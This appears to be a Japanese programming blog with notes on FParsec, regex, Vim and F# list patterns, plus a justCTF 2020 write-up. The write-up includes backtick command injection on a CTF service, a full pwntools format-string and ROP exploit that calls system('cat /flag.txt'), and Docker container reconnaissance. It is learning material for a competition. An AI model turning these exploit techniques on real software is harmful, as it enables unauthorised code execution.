FParsecで左再帰を試してみる

F# のパーサーコンビネータFParsec を使って、左再帰の文法を書くとどうなるか試してみた。左再帰についての説明は Wikipedia から引用しておく。

再帰(英: Left recursion)とは、言語(普通、形式言語について言うが、自然言語に対しても考えられ得る)の文法(構文規則)にあらわれる再帰的な規則(定義)の特殊な場合で、ある非終端記号を展開した結果、その先頭(最も左)にその非終端記号自身があらわれるような再帰のことである。

文法はこんなイメージ。足し算、引き算、数値に対応。足し算と引き算について、 expr が一番左に来ているため左再帰となっている。

expr = expr '+' num
     | expr '-' num
     | num

これをコードで書くと以下のようになる。 pAddition , pSubtraction の先頭に pExpression が登場している。

open FParsec

type Expression =
    | Addition of Expression * float
    | Subtraction of Expression * float
    | Term of float

let pExpression, pExpressionRef = createParserForwardedToRef()

let pAddition =
    pExpression .>>. ((spaces >>. pchar '+' >>. spaces) >>. pfloat)
    |>> Addition

let pSubtraction =
    pExpression .>>. ((spaces >>. pchar '-' >>. spaces) >>. pfloat)
    |>> Subtraction

let pTerm = pfloat |>> Term

pExpressionRef.Value <-
    pAddition
    <|> pSubtraction
    <|> pTerm

生成したパーサー pExpression を使って、実際にパースしてみるとどうなるか。

> run pExpression "1-2+3-4";;
Binding session to '/home/gingk/.nuget/packages/fparsec/1.1.1/lib/netstandard2.0/FParsec.dll'...
Binding session to '/home/gingk/.nuget/packages/fparsec/1.1.1/lib/netstandard2.0/FParsecCS.dll'...
Stack overflow.
Repeat 8717 times:
--------------------------------
   at FParsec.Primitives+op_DotGreaterGreaterDot@104[[System.__Canon, System.Private.CoreLib, Version=6.0.0.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e],[System.__Canon, System.Private.CoreLib, Version=6.0.0.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e],[System.Double, System.Private.CoreLib, Version=6.0.0.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e]].Invoke(FParsec.CharStream`1<System.__Canon>)
   at FParsec.Primitives+op_BarGreaterGreater@143[[System.__Canon, System.Private.CoreLib, Version=6.0.0.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e],[System.__Canon, System.Private.CoreLib, Version=6.0.0.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e],[System.__Canon, System.Private.CoreLib, Version=6.0.0.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e]].Invoke(FParsec.CharStream`1<System.__Canon>)
...

結果として、スタックオーバーフローが発生して落ちた。要は無限ループが発生したわけである。まあ当たり前と言えば当たり前ではあるが、実際に確認できてよかった。

ここからは余談。左再帰を避けて実装してみる。

open FParsec

type Expression =
    | Addition of float * Expression
    | Subtraction of float * Expression
    | Term of float

let pExpression, pExpressionRef = createParserForwardedToRef()

let pAddition =
    pfloat .>>. ((spaces >>. pchar '+' >>. spaces) >>. pExpression)
    |>> Addition

let pSubtraction =
    pfloat .>>. ((spaces >>. pchar '-' >>. spaces) >>. pExpression)
    |>> Subtraction

let pTerm = pfloat |>> Term

pExpressionRef.Value <-
    attempt pAddition
    <|> attempt pSubtraction
    <|> pTerm

以下の通り、問題なくパースできた。

> run pExpression "1-2+3-4";;
val it: ParserResult<Expression,unit> =
  Success: Subtraction (1.0, Addition (2.0, Subtraction (3.0, Term 4.0)))

さらに余談。上のコードでは attempt によるバックトラック (巻き戻し) を活用していたが、バックトラックを避けて以下のようにも書ける。

open FParsec

type Expression =
    | Addition of float * Expression
    | Subtraction of float * Expression
    | Term of float

let pExpression, pExpressionRef = createParserForwardedToRef()

let pBinop =
    tuple2 (pchar '+' <|> pchar '-') (spaces >>. pExpression)

pExpressionRef.Value <-
    pipe2
        (pfloat .>> spaces)
        ((eof >>% None) <|> (pBinop |>> Some))
        (fun num opt ->
            match opt with
            | Some(binop) ->
                match binop with
                | ('+', exp) -> Addition (num, exp)
                | ('-', exp) -> Subtraction (num, exp)
                | _ -> failwith "not reachable"
            | None -> Term num)

こちらのほうが効率が良くて良さげ。パース実行結果は以下。

> run pExpression "1-2+3-4";;
val it: ParserResult<Expression,unit> =
  Success: Subtraction (1.0, Addition (2.0, Subtraction (3.0, Term 4.0)))

F#で正規表現を使って日本語をマッチさせる

まずひらがな。

Regex.IsMatch("あ", "\p{IsHiragana}") // => true

F# では .NetRegex クラスによって正規表現を扱う。Unicodeのコードポイントの範囲ごとに IsHiragana のような名前が付けられており、その名前を \p{IsHiragana} のように指定することができる。

使用可能な名前一覧は .NET 正規表現での文字クラス | Microsoft Learn を参照。これによると IsHiragana は 3040 ~ 309F と書いてあるが、Wikipedia にあるコード一覧を見ると確かにひらがなはこの範囲にありそうである。

続いてカタカナ、漢字。 IsCJKUnifiedIdeographs は日本語ではCJK統合漢字と呼ぶらしい。

Regex.IsMatch("ア", "\p{IsKatakana}")
Regex.IsMatch("亜", "\p{IsCJKUnifiedIdeographs}")

最後に、全角記号、全角数字、半角カタカナ。

Regex.IsMatch("、", "\p{IsCJKSymbolsandPunctuation}")
Regex.IsMatch("「", "\p{IsCJKSymbolsandPunctuation}")
Regex.IsMatch(">", "\p{IsHalfwidthandFullwidthForms}")
Regex.IsMatch("1", "\p{IsHalfwidthandFullwidthForms}")
Regex.IsMatch("ア", "\p{IsHalfwidthandFullwidthForms}")

全角記号に関しては IsCJKSymbolsandPunctuation にあったり IsHalfwidthandFullwidthForms にあったりして分け方がよくわからないが、両方入れておけばよさそうではある。

Regex.IsMatch("、", "\p{IsCJKSymbolsandPunctuation}|\p{IsHalfwidthandFullwidthForms}")
Regex.IsMatch(">", "\p{IsCJKSymbolsandPunctuation}|\p{IsHalfwidthandFullwidthForms}")

Vimで置換・検索時のエラーを抑制する

Vim で置換や検索をした際に、パターンが見つからなかった場合は E486: Pattern not found エラーが返る。たとえばマクロはエラーが発生するとそこで停止してしまうので、エラーが返らないようにしたくなるケースもある。ということで今回はその方法について調べた内容を書く。

置換

たとえば m に以下のようなマクロを設定したとする。

:reg m
Type Name Content
  c  "m   :%s/hoge/fuga/^M:echo "hello"^M

この場合、 hoge というパターンが見つかれば問題ないが、見つからなかったら二番目のコマンド echo "hello" は実行されない。

まず1つ目の回避策は、置換時にフラグ e をつける。そうすることでエラーが返らなくなる。ヘルプはこちら

:%s/hoge/fuga/e

もう一つの方法は、 try , catch を使うやり方。上記は置換時のみのものだったが、 try , catch を使うことでより汎用的なコマンドにも適用できる。ヘルプはこちら

:try | %s/hoge/fuga/ | catch | endtry

検索

こちらも同様に、以下のマクロだと hoge というパターンが見つからなければ二番目のコマンドは実行されない。

:reg m
Type Name Content
  c  "m   /hoge^M:echo "hello"^M

こちらもまずは try を使ってみたが、うまくいかない。

:try | /hoge | catch | endtry

実行するとコマンドを入力するところ (何て呼ぶのかわからない) に : (コロンと謎の空白) が表示された状態になる。エスケープを2回 (なぜか2回) 押すと E486: Pattern not found: hoge | catch | endtry と表示されるので hoge 以降の文字列全体を検索してしまっているらしい。これについてはやりようがありそうな気もするが、結局わからなかった。

いろいろ調べていて一つ判明したやり方は、組み込み関数 search を使う方法。これに関しては try も問題なく使用できる。ヘルプはこちら

:try | call search("hoge") | catch | endtry

F#で要素数が2つ以上のリストをマッチさせる

前に書いたこの記事に関連して。
F#で要素数が1つのリストをマッチさせる

今度は要素数が2つ以上のリストにマッチさせる方法について。こちらも前回同様 Cons パターン :: を使って次のように書ける。

match some_list with
| _::_::_ -> printfn "two or more elements"
| _ -> printfn "zero or one element"

_::_::_ は「先頭の要素、2番目の要素、残りの要素を含むリスト」の3つに分解可能なリストにマッチする。最後のリストは空のリストでも構わない。つまり要素数が2つ以上のリストにマッチするということになる。

実際に何がマッチしているかを出力した例がこちら。

let some_list = [1; 2]

match some_list with
| a::b::c -> printfn "%A, %A, %A" a b c
| _ -> printfn "zero or one element"

実行結果

1, 2, []

Vimで正規表現にマッチした文字列を置換先でも使う

Vim で置換する際に、正規表現でマッチした文字列をそのまま置換先でも使いたいという場面にちょくちょく遭遇するのでやり方を調べた。後方参照と呼ぶらしい。 (後方参照というワードを知らなかったので調べるのにちょっと苦労した)

やり方 (ヘルプ) はこちら。
12.2 "Last, First" を "First Last" に変更する

上のリンク先に全部書いてあるが、エスケープ付きの括弧 \( \) で囲まれた部分は \1 , \2 , ..., \9 で参照できる、というもの。

たとえば Markdown を書いているとして、先頭が数字からはじまる行を h2 としたい場合はこうすればできる。

:%s/^\([0-9]\)/## \1/g

before

1 はじめに

あいうえお

2 おわりに

かきくけこ

after

## 1 はじめに

あいうえお

## 2 おわりに

かきくけこ

F#で要素数が1つのリストをマッチさせる

F# で書かれているとあるコードを読んでいて、以下のようなコードが出てきてよくわからなかったので調べた。 a::[] の部分。

match some_list with
| a::[] -> printfn "%A" a
| b -> printfn "%A" b

まず ::Cons パターンというもので、パターンマッチにおいてリストを最初の要素と残りの要素に分解することができる。

let some_list = [1; 2; 3]

match some_list with
| a::b -> printfn "%A and %A" a b
| _ -> printfn ""

実行結果

1 and [2; 3]

これをふまえて最初のコード a::[] に戻ると、最初の要素を除くと空 ( [] ) になるリスト、つまり要素数が1のリストとマッチするということになる。

let some_list = [1] とすると a::[] にマッチし、出力結果は以下となる。

1

let some_list = [1; 2; 3] とすると b のほうにマッチし、出力結果は以下となる。

[1; 2; 3]

ちなみに、リストパターンを使っても同様に要素数1のリストにマッチさせることは可能。

match some_list with
| [a] -> printfn "%A" a    // 要素数1のリストにマッチ
| b -> printfn "%A" b      // 要素数1以外のリストにマッチ

justCTF [*] 2020 writeup & 復習

はじめに

もう一週間以上経ってしまいましたが、justCTF [*] 2020に参加してpwnを解いた(解こうとした)ので、writeupと他の方のwriteupを見て復習した内容を書いておきます。といっても一問しか解けなかったのですが…

[PWN/MISC] MyLittlePwny

Ponies like only one type of numbers!

Challenge

配布物はなし

$ nc mylittlepwny.nc.jctf.pro 1337
> 

文字を入力すると、pony の絵が表示される

> 1
 ____ 
< 1  >
 ---- 
   \          ▄▄▄▄                       
    \        █▄▄██                       
     \      ███▄▄▄▄  ▄▄▄▄▄▄▄▄            
      \ ▄▄▄▄█▄████▄▄▄████▄▄▄▄█           
      ▄▄██████▄▄▄▄▄██▄▄▄▄█████           
     ███████████▄▄█▄████████▄▀           
    █████▄██▄▄▄▄███▄███████▄▀            
    ▀▄▄▄▄█▄▄█████████▀▀▀▄▄▄▀             
      ████▄█▄▄▄▄▄████                    
      ▀▄████▄▄▄█▄████▄         ▄▄▄▄      
      █▄██▄▄▄▄▄▄███▄██     ▄▄▄▄████▄▄▄▄  
      ▀▄▄██████▄█▄▄████  ▄▄█████████▄██▄▄
         ▀▀▀▀▀███████▄▄▄▄▄▄▀▀▀▀▄█████▄▄▄▀
              ██████▄▄███▄▄     ████████ 
              ████▄▄███████     ██████▄▀ 
              ▄▄███▄▄████▄▄▄     ████▄▀  
              ███▄█▀  ███▄▄█▄▄    ▀▀▀    
             ▄▄▄████▄▄████▄███           
             █▄▄▄▄▀ █▄▄▄█ ▀▀▀            
                                         

Writeup

`` によりコマンドを使用可能 (一文字ずつ記号を入れていくことで気づいた)

> `
/bin/sh: 2: Syntax error: EOF in backquote substitution
> `ls`
 __________________________________ 
< bin flag lib lib64 server.py usr >
 ---------------------------------- 
 ...

cat などのそのまま表示できそうなコマンドは使えない

> `cat flag`
 ________________ 
< I like cats :) >
 ---------------- 
 ...

コマンド一覧

> `ls bin`
 _______________________________________________________________ 
/ bash bunzip2 bzcat bzcmp bzdiff bzegrep bzexe bzfgrep bzgrep  \
| bzip2 bzip2recover bzless bzmore cat chgrp chmod chown cp     |
| dash date dd df dir dmesg dnsdomainname domainname echo egrep |
| false fgrep findmnt grep gunzip gzexe gzip hostname kill less |
| lessecho lessfile lesskey lesspipe ln login ls lsblk mkdir    |
| mknod mktemp more mount mountpoint mv nisdomainname nsjail od |
| pidof ps pwd rbash readlink rm rmdir run-parts sed sh         |
| sh.distrib sleep stty su sync tar tempfile touch true umount  |
| uname uncompress vdir wdctl which ypdomainname zcat zcmp      |
\ zdiff zegrep zfgrep zforce zgrep zless zmore znew             /
 --------------------------------------------------------------- 

od が使えた

> `od flag`
 __________________________________________________________ 
/ 0000000 072552 072163 052103 075506 030160 054556 072137 \
| 066064 0000020 071505 061137 063463 047151 057465 031550 |
\ 031562 005175 0000040                                    /
 ---------------------------------------------------------- 

整えると次のようになる (オプションなしの場合、1行16バイト、2バイトずつ8進数表示)

0000000 072552 072163 052103 075506 030160 054556 072137 066064
0000020 071505 061137 063463 047151 057465 031550 031562 005175
0000040

ASCII 文字列に変換するスクリプト (もっと簡単にやる方法あるかも)

import binascii

nums = [
    0o072552, 0o072163, 0o052103, 0o075506,
    0o030160, 0o054556, 0o072137, 0o066064,
    0o071505, 0o061137, 0o063463, 0o047151,
    0o057465, 0o031550, 0o031562, 0o005175
]

for num in nums:
    n_str = binascii.unhexlify(('%06x' % num).encode()).decode()
    n_list = list(n_str)
    n_list[1], n_list[2] = n_list[2], n_list[1]
    n_str = ''.join(n_list)
    print(n_str, end='')

フラグ取得

$ python mylittlepwny.py
justCTF{p0nY_t4lEs_b3giN5_h3r3}

唯一フラグゲットできた問題でした。カナシイ

[PWN] qmail

One of the internet leaders launched an anti-spam mail checking service. You send it an email content and you get an aggregated score from multiple systems. However, it seems that something broke as the service doesn't respond from time to time. Am I sending content in EMail Message format? A mistake on their part seems implausible.

Challenge

実行ファイル (qmail) と libc-2.27.so が配布される

応答はなし (Ctrl-D を入力してもダメ)

$ nc qmail.nc.jctf.pro 1337

Writeup

checksec

$ checksec qmail
[*] '/path/to/qmail'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

ローカルで実行してみると応答あり (実行後、Ctrl-D (EOF) を入力)

$ ./qmail
HTTP/1.0 200 OK
Content-Type: application/json
Content-Length: 109

{
        "plugins":      {
},
        "mail": {
                "score":        0,
                "spam": false,
                "reject":       false
        },
        "version":      "0.3.0.100"
}

qmail ってなんぞやと思ってググるとふつうにいろいろ出てくる。qmail というソフトウェアがあるらしい。とりあえず こちら のメッセージをそのまま入力してみると、応答に subject が追加されていることに気づく

$ ./qmail
Received: (qmail-queue invoked by uid 666);
     30 Jul 1996 11:54:54 -0000
From: djb@silverton.berkeley.edu (D. J. Bernstein)
To: fred@silverton.berkeley.edu
Date: 30 Jul 1996 11:54:54 -0000
Subject: Go, Bears!

I've got money on this one.  How about you?

---Dan   (this is the third line of the body)
HTTP/1.0 200 OK
Content-Type: application/json
Content-Length: 136

{
        "plugins":      {
},
        "mail": {
                "subject":      "Go, Bears!",
                "score":        0,
                "spam": false,
                "reject":       false
        },
        "version":      "0.3.0.100"
}

main でやっていることをおおざっぱに並べておく (リンク先は Ghidra によるデコンパイル結果)

  • 標準入力から read してグローバル変数 char headers[65536] に書き込む (EOF に達すると終了)
  • メッセージサイズ ( msg_size ) をチェック
  • メッセージを parse ( message_parse ) (詳細よくわからん)
  • アドレスを取得する ( get_address_used ) (たぶん)
  • ヘッダ情報取得 ( header_get ) ( "Subject", "From" )
  • JSON 形式に変換して出力 ( printf(SUB168(auVar14,0)) )

Subject として入力した値は出力される + 最後の printf → FSA (Format String Attack) が使えそう。
一周目で libc のアドレスをリークして main の先頭に飛ばし、2周目で One-gadget RCE に飛ばす、という方法でいける!と思ったが、read を終わらせるために EOF を送信 (「EOF を送信」で合ってるのか?) する必要があるため、一発で仕留める必要があるらしい…。read 終了 (EOF) については pwntools の shutdown によりいけた。ただし以後はデータを送信することができなくなる。

なんとかして shutdown 後にもう一度データを送信する方法はないかとか、一発でシェルを取る方法はないかとかをもんもんと考えていたが、ここでギブアップ。以降は期間終了後、justCTF [*] 2020 Writeups - CTFするぞ を読んで理解した内容を書く。

「justCTF [*] 2020 Writeups - CTFするぞ」の解法は次の通り。

  • FSA により、 _IO_putc の GOT を Stack pivot を実行可能な gadget のアドレスに書き換える
  • スタックに ROP chain を仕込む
    • __libc_start_main の GOT を system のアドレスに書き換える
    • .bss 領域に cat /flag.txt という文字列を書き込む
    • __libc_start_main を呼ぶ ( system("cat /flag.txt") )

恥ずかしながら Stack pivot が何かすら知らなかったのだが、スタックの頭を差し替える手法のことを Stack pivot と呼ぶらしい。(参考: GOT overwriteとStack pivotによるDEP回避(xchg esp型) - ももいろテクノロジー)

gadget 探しについては、rp++ というツールが有名らしい。

$ wget https://github.com/downloads/0vercl0k/rp/rp-lin-x64

ということで gadget 探し

  • Stack pivot を実行するための gadget
$ ./rp-lin-x64 --file=qmail --rop=3 --unique | fgrep 'add rsp'
...
0x00403715: add rsp, 0x0000000000000100 ; pop rbx ; ret  ;  (1 found)
...
  • __libc_start_main の GOT に格納されているアドレスを system のアドレスにずらすための gadget
$ ./rp-lin-x64 --file=qmail --rop=3 --unique | grep "add .word \[rbp"
0x00406e12: add dword [rbp-0x7C], eax ; sal byte [rbp+0x0B], 0x00000041 ; lea eax, dword [rcx+0x05] ; ret  ;  (2 found)
  • .bss 領域に文字列を書き込むための gadget
$ ./rp-lin-x64 --file=qmail --rop=3 --unique | grep "mov .word \[rdi"
...
0x00405b46: mov qword [rdi+0x10], rsi ; ret  ;  (1 found)
...

コードです。特に後半についてはほとんど参考にさせていただいたブログのままです。

from pwn import ELF, context, remote, pack, unpack, gdb, process, pause

elf = ELF('qmail')
context.binary = elf
#  context.log_level = 'debug'

#  s = remote('qmail.nc.jctf.pro', 1337)
s = process('./qmail')


def make(value):
    s = 'Subject: '
    n = 44

    # value を acStack1064 + 0x80 以降に格納されているアドレスに書き込む書式文字列を生成
    for i in range(8):
        t = (value & 0xff) - n % 256
        if t <= 1:
            t += 256
        s += '%{}c%{}$hhn'.format(t, 22 + i)
        value >>= 8
        n += t
    s += '\n\n'
    s = bytes(s, 'ascii')

    s += b'\0' * (0x80 - len(s))  # acStack1064 + 0x80 の位置までを '\0' で埋める
    for i in range(8):
        s += pack(elf.got._IO_putc + i)

    return s


add_rsp = 0x403715
payload = make(add_rsp)  # rsp == acStack1064

libc = ELF('libc-2.27.so')
addr_cmd = elf.bss() + 0x400
pop_rbp = 0x403355
xchg_eax_ebp = 0x406e75
add_prbp_m7Ch_eax = 0x406e12
mov_prdi_p10h_rsi = 0x405b46
pop_rsi = 0x403b7c
pop_rdi = 0x4050a6
call_prsi = 0x408a6b
jmp_prsi = 0x4086fb
payload += b'\0' * (0x100 - len(payload))
payload += (
    # __libc_start_main の GOT を system のアドレスに書き換える
    pack(pop_rbp)
    + pack(libc.symbols.system - libc.symbols.__libc_start_main)
    + pack(xchg_eax_ebp)
    + pack(pop_rbp)
    + pack(elf.got.__libc_start_main + 0x7c)
    + pack(add_prbp_m7Ch_eax)
    # 'cat /flag.txt' という文字列を .bss + 0x400 に書き込む
    + pack(pop_rdi)
    + pack(addr_cmd - 0x10)
    + pack(pop_rsi)
    + b'cat /fla'
    + pack(mov_prdi_p10h_rsi)
    + pack(pop_rdi)
    + pack(addr_cmd - 0x8)
    + pack(pop_rsi)
    + b'g.txt\x00\x00\x00'
    + pack(mov_prdi_p10h_rsi)
    # __libc_start_main を呼ぶ
    + pack(pop_rdi)
    + pack(addr_cmd)
    + pack(pop_rsi)
    + pack(elf.got.__libc_start_main)
    + pack(jmp_prsi)
)
s.send(payload)
#  pause()
s.shutdown('send')

s.interactive()

ローカル環境に /flag.txt を置いて実行。無事フラグ取得。

$ python qmail.py
...
this is flag!!
...

一番時間をかけて考えたけど結局解けなくて悔しかったです。libcをリークしなくても system を呼ぶことはできるのか、と感心しました。たぶん公式のwriteupも今のところないので、今回参考にさせてもらったwriteupがなければいまだに路頭に迷っているところでした。ありがとうございます。

※ 以下、Ghidra によるデコンパイル結果

  • main()
    • SEXT48 とか SUB168 とか: Ghidra Help の Internal Decompiler Functions の項目に説明が書いてある
    • _end は .bss セクションの末尾の次のアドレスを表すらしい -- Man page of END
undefined8 main(undefined8 param_1,long param_2)

{
  char cVar1;
  __pid_t _Var2;
  int __fd;
  int iVar3;
  ssize_t sVar4;
  size_t sVar5;
  size_t __n;
  long lVar6;
  __off64_t _Var7;
  undefined8 uVar8;
  long lVar9;
  undefined8 uVar10;
  ulong uVar11;
  char *pcVar12;
  size_t __n_00;
  byte bVar13;
  undefined auVar14 [16];
  char acStack1064 [1024];
  
  bVar13 = 0;
  starttime = now();
  _Var2 = getpid();
  mypid = (long)_Var2;
  sig_pipeignore();
  sig_miscignore();
  sig_alarmcatch(sigalrm);
  env_put("ISMX=1");
  env_put("TCPREMOTEIP=192.168.1.1");
  message_init();
  alarm(0x4b0);
  __fd = mess_open();
  if (__fd < 0) {
                    /* WARNING: Subroutine does not return */
    _exit(0x40);
  }
  do {
    __n = read(0,acStack1064,0x400);
    if ((long)__n < 0) break;
    sVar4 = write(__fd,acStack1064,__n);
    if (sVar4 == -1) {
      die_write();
    }
    iVar3 = headers_remaining;
    if (headers_remaining != 0) {
      sVar5 = SEXT48(headers_remaining);
      __n_00 = sVar5;
      if ((long)__n <= (long)sVar5) {
        __n_00 = __n;
      }
      strncpy(&_end + -sVar5,acStack1064,__n_00);
      headers_remaining = iVar3 - (int)__n_00;
    }
  } while (__n != 0);
  lVar6 = 0xffff;
  if (headers_remaining != 0) {
    lVar6 = 0x10000 - (long)headers_remaining;
  }
  headers[lVar6] = 0;
  msg_size = lseek64(__fd,0,2);
  if (msg_size == -1) {
    die_write();
  }
  _Var7 = lseek64(__fd,0,0);
  if (_Var7 != 0) {
    die_write();
  }
  if (0x100000 < msg_size) {
    reply(500,"Internal Server Error","Message too large");
    die_read();
  }
  uVar8 = find_eoh(headers);
  as_headers_offset = (undefined4)uVar8;
  lVar6 = message_parse(headers,uVar8);
  message = lVar6;
  if (lVar6 == 0) {
    reply(500,"Internal Server Error","Could not parse message");
    lVar6 = die_read();
  }
  uVar8 = get_address_used(lVar6);
  env_put2("MAIL_FROM_ABUSED",uVar8);
  iVar3 = stralloc_copys(sender,uVar8);
  if (iVar3 == 0) {
    die_nomem();
  }
  iVar3 = stralloc_append(sender,&DAT_00407856);
  if (iVar3 == 0) {
    die_nomem();
  }
  lVar9 = header_get(message,"Subject");
  lVar6 = *(long *)(param_2 + 8);
  if (*(long *)(param_2 + 8) == 0) {
    lVar6 = lVar9;
  }
  lVar9 = header_get(message,&DAT_00407639);
  if (lVar9 != 0) {
    lVar9 = address_get();
    if (lVar9 != 0) {
      iVar3 = stralloc_copys(from_sender,lVar9);
      if (iVar3 == 0) {
        die_nomem();
      }
      iVar3 = stralloc_append(from_sender,&DAT_00407856);
      if (iVar3 == 0) {
        die_nomem();
      }
    }
  }
  _Var7 = lseek64(__fd,0,0);
  if (_Var7 != 0) {
    die_write();
  }
  substdio_fdbuf(ssin,read,__fd,inbuf,0x8000);
  mailJ = cJSON_CreateObject();
  if (lVar6 != 0) {
    uVar8 = cJSON_CreateString(lVar6);
    cJSON_AddItemToObject(mailJ,"subject",uVar8);
  }
  plugin_json_output = cJSON_CreateObject();
  _Var7 = lseek64(__fd,0,0);
  if (_Var7 != 0) {
    die_write();
  }
  uVar8 = cJSON_CreateObject();
  cJSON_AddItemToObject(uVar8,"plugins",plugin_json_output);
  uVar10 = cJSON_CreateNumber(0);
  cJSON_AddItemToObject(mailJ,"score",uVar10);
  uVar10 = cJSON_CreateBool(0);
  cJSON_AddItemToObject(mailJ,&DAT_004076cc,uVar10);
  uVar10 = cJSON_CreateBool(0);
  cJSON_AddItemToObject(mailJ,"reject",uVar10);
  cJSON_AddItemToObject(uVar8,&DAT_004076d8,mailJ);
  uVar10 = cJSON_CreateString("0.3.0.100");
  cJSON_AddItemToObject(uVar8,"version",uVar10);
  auVar14 = cJSON_Print(uVar8);
  uVar11 = 0xffffffffffffffff;
  pcVar12 = SUB168(auVar14,0);
  do {
    if (uVar11 == 0) break;
    uVar11 = uVar11 - 1;
    cVar1 = *pcVar12;
    pcVar12 = pcVar12 + (ulong)bVar13 * -2 + 1;
  } while (cVar1 != '\0');
  printf("HTTP/1.0 200 OK\r\nContent-Type: application/json\r\nContent-Length: %u\r\n\r\n",~uVar11,
         SUB168(auVar14 >> 0x40,0),~uVar11);
  printf(SUB168(auVar14,0));
  _IO_putc(10,stdout);
  fflush((FILE *)stdout);
  return 0;
}

[PWN/MISC] D0cker

I have heard that Docker may not be the greatest isolation tool. Can you proove it?

Hints:

  • This is not a kernel exploitation challenge
  • You don't need to exploit the oracle

Challenge

配布物はなし

$ nc docker-sgp1.nc.jctf.pro 1337

Access to this challenge is rate limited via hashcash!
Please use the following command to solve the Proof of Work:
hashcash -mb26 zwifpdgy

Your PoW: 

PoW は次のコマンドで取得

$ hashcash -mb26 zwifpdgy
hashcash token: 1:26:210130:zwifpdgy::s/nYKao3T3JPfj7d:000000000vWX1

PoW を入力するとシェルが起動する

Your PoW: 1:26:210130:zwifpdgy::s/nYKao3T3JPfj7d:000000000vWX1
1:26:210130:zwifpdgy::s/nYKao3T3JPfj7d:000000000vWX1
[*] Spawning a task manager for you...
[*] Spawning a Docker container with a shell for ya, with a timeout of 10m :)
[*] Your task is to communicate with /oracle.sock and find out the answers for its questions!
[*] You can use this command for that:
[*]   socat - UNIX-CONNECT:/oracle.sock
[*] PS: If the socket dies for some reason (you cannot connect to it) just exit and get into another instance

groups: cannot find name for group ID 1000
I have no name!@91c78fbacb7d:/$ 

Writeup

シェルが起動するので、とりあえず情報収集

I have no name!@9d8600b7da5e:/$ id
id
uid=1000 gid=1000 groups=1000
I have no name!@9d8600b7da5e:/$ uname -a
uname -a
Linux 9d8600b7da5e 5.4.0-51-generic #56-Ubuntu SMP Mon Oct 5 14:28:49 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
I have no name!@9d8600b7da5e:/$ cat /etc/os-release
cat /etc/os-release
NAME="Ubuntu"
VERSION="20.04.1 LTS (Focal Fossa)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 20.04.1 LTS"
VERSION_ID="20.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=focal
UBUNTU_CODENAME=focal
I have no name!@9d8600b7da5e:/$ $ ps auxfww
ps auxfww
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
1000           1  0.2  0.0   2712   648 pts/0    Ss   10:51   0:00 timeout 10m bash
1000           6  0.0  0.0   4108  3544 pts/0    S    10:51   0:00 bash
1000           8  0.0  0.0   5896  2988 pts/0    R+   10:51   0:00  \_ ps auxfww
I have no name!@9d8600b7da5e:/$ file /oracle.sock
file /oracle.sock
/oracle.sock: socket

言われたとおり、socat で接続してみる

I have no name!@c59e03f75e8e:/$ socat - UNIX-CONNECT:/oracle.sock
socat - UNIX-CONNECT:/oracle.sock
Welcome to the
    ______ _____      _             
    |  _  \  _  |    | |            
    | | | | |/' | ___| | _____ _ __ 
    | | | |  /| |/ __| |/ / _ \ '__|
    | |/ /\ |_/ / (__|   <  __/ |   
    |___/  \___/ \___|_|\_\___|_|   
    oracle!
I will give you the flag if you can tell me certain information about the host (:
ps: brute forcing is not the way to go.
Let's go!

質問が表示されるので、答えていく。

  • Level 1
[Level 1] What is the full *cpu model* model used?

CPU のモデル情報。 cat /proc/cpuinfo により取得

[Level 1] What is the full *cpu model* model used?
Intel(R) Xeon(R) Gold 6140 CPU @ 2.30GHz
Intel(R) Xeon(R) Gold 6140 CPU @ 2.30GHz
That was easy :)
  • Level 2
[Level 2] What is your *container id*?

cat /proc/self/cgroup により取得。(自分の container id でなくても OK だった)

[Level 2] What is your *container id*?
c59e03f75e8e4c1b7c0887c7b2af5ff59b36f69ee56777c7b92673c3a9495e4e
  • Level 3
[Level 3] Let me check if you truly given me your container id. I created a /secret file on your machine. What is the hidden secret?

/secret というファイルが作成されるので、その中身を入力する。事前に bash -c 'sleep 30; cat /secret' & を実行しておくことで取得。もしくは Level 2 で別のコンテナの ID を入力しておくとそっちのコンテナに secret が作成されるので、それを入力しても OK だった。

[Level 3] Let me check if you truly given me your container id. I created a /secret file on your machine. What is the hidden secret?
dzRJyqmQoqVYlkHMeiAPeSPohURJgEWHUAzkMioZQcgLoCZsFswSPAGrmuvAWzYC
  • Level 4
[Level 4] Okay but... where did I actually write it? What is the path on the host that I wrote the /secret file to which then appeared in your container? (ps: there are multiple paths which you should be able to figure out but I only match one of them)

/secret を生成したときに、ホストのどこに書き込んでいるか、という問い。とりあえずルート / のマウント情報を確認してみた。

overlay on / type overlay (rw,relatime,lowerdir=...,upperdir=...,workdir=...,xino=off)

overlay を聞いたことがなかったのでググると、【連載】世界一わかりみが深いコンテナ & Docker入門 〜 その6:Dockerのファイルシステムってどうなってるの? 〜 | SIOS Tech. Lab というページを見つけた。Docker のファイルシステムについて説明してくれている。upperdir を入力。

[Level 4] Okay but... where did I actually write it? What is the path on the host that I wrote the /secret file to which then appeared in your container? (ps: there are multiple paths which you should be able to figure out but I only match one of them)
/var/lib/docker/overlay2/6b80763e46b9937ceb8cef7819e6da7bf8a87cd0769d05353f448430d1c9e28d/diff/secret
  • Level 5
[Level 5] Good! Now, can you give me an id of any *other* running container?

別のターミナルでサーバに接続して取得した container id を入力するだけ。

[Level 5] Good! Now, can you give me an id of any *other* running container?
610b8135a5c06c59059b1be32266719bf963ed8da1093b6f0efa8266ba54bff9
  • Level 6
[Level 6] Now, let's go with the real and final challenge. I, the Docker Oracle, am also running in a container. What is my container id?

最終問題。ホストもDockerで動いており、ホストのコンテナIDを入力するという問題。
